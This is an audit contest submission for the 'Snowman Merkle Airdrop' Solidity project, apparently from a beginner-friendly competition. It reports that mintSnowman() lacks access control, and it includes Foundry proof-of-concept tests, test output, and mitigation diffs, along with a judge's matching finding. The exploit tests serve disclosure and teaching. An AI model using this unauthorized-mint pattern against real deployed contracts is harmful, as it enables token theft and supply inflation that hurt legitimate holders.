Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Missing access control on Snowman.mintSnowman() allows anyone to mint unlimited airdrop NFTs

Root + Impact

Any external account (EOA / contract) can call Snowman.mintSnowman() directly and mint an unlimited number of airdrop NFTs, completely bypassing the Merkle proof + EIP-712 signature gating that the protocol relies on. Severity: High.

Description

  • Normal behavior. Snowman is the ERC721 reward token of the Merkle airdrop. The intended (and only legitimate) mint path is SnowmanAirdrop.claimSnowman(), which gates the mint behind an EIP-712 signature, a Merkle proof, and a Snow-token balance check.

  • Specific issue. Snowman.mintSnowman() is declared external with no access-control modifier — neither onlyOwner (the contract is Ownable) nor an onlySnowmanAirdrop-style check. Any address can call it directly and mint an arbitrary number of NFTs in a single call, completely bypassing the signature/Merkle verification chain.

function mintSnowman(address receiver, uint256 amount) external { // @audit unauthorized
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter); // @audit anyone can mint
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

**Likelihood:**​

  • WHEN this will occur — at any time after deployment, any unprivileged EOA calls mintSnowman() with arbitrary arguments; no auth, no Merkle proof, no off-chain dependency is required.

  • WHEN this will occur — as soon as the airdrop goes live, an attacker can front-run legitimate claimers (zero additional gas beyond the for loop) and own ≥99% of total supply before the first legitimate mint lands.

**Impact:**​

  • Bypass of the entire airdrop gating — EIP-712 signature, Merkle proof, and Snow-balance requirement are all skipped.

  • Unbounded NFT supply inflation — dilutes every legitimate claim and destroys the core value proposition of a fair, scarce NFT distribution.

Proof of Concept

Save the file below as test/TestSnowmanPermission.t.sol, then run forge test --match-contract TestSnowmanPermission -vvv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
import {DeploySnowman} from "../script/DeploySnowman.s.sol";
contract TestSnowmanPermission is Test {
Snowman nft;
DeploySnowman deployer;
address attacker = makeAddr("attacker");
address legitClaimer = makeAddr("legitClaimer");
function setUp() public {
deployer = new DeploySnowman();
nft = deployer.run();
}
function test_AnyoneCanMintArbitraryAmount() public {
uint256 mintAmount = 1000;
vm.prank(attacker); // unprivileged EOA
nft.mintSnowman(attacker, mintAmount);
assertEq(nft.balanceOf(attacker), mintAmount);
assertEq(nft.getTokenCounter(), mintAmount);
}
function test_UnboundedSupplyDilutesAirdrop() public {
vm.prank(attacker);
nft.mintSnowman(attacker, 30_000); // attacker front-runs (1_000_000 also works but slow)
nft.mintSnowman(legitClaimer, 1); // legit claimer gets 1
uint256 share = (nft.balanceOf(attacker) * 100_000_000) / nft.getTokenCounter();
assertGt(share, 99_000_000); // attacker ends up with > 99% of supply
}
}

Expected: both tests pass. ✅ Verified live on forge test (attacker 0x9dF0C6b…6B4e minted tokenIds 29609 → 29953+ with no revert).

Recommended Mitigation

Restrict mintSnowman to the airdrop contract only:

constructor(string memory _uri, address _airdrop)
ERC721("Snowman Airdrop", "SNOWMAN")
Ownable(msg.sender)
{
s_SnowmanSvgUri = _uri;
+ i_airdrop = _airdrop;
}
+error SM_NotAirdrop();
+address private immutable i_airdrop;
-function mintSnowman(address receiver, uint256 amount) external {
+function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
+ if (msg.sender != i_airdrop) revert SM_NotAirdrop();
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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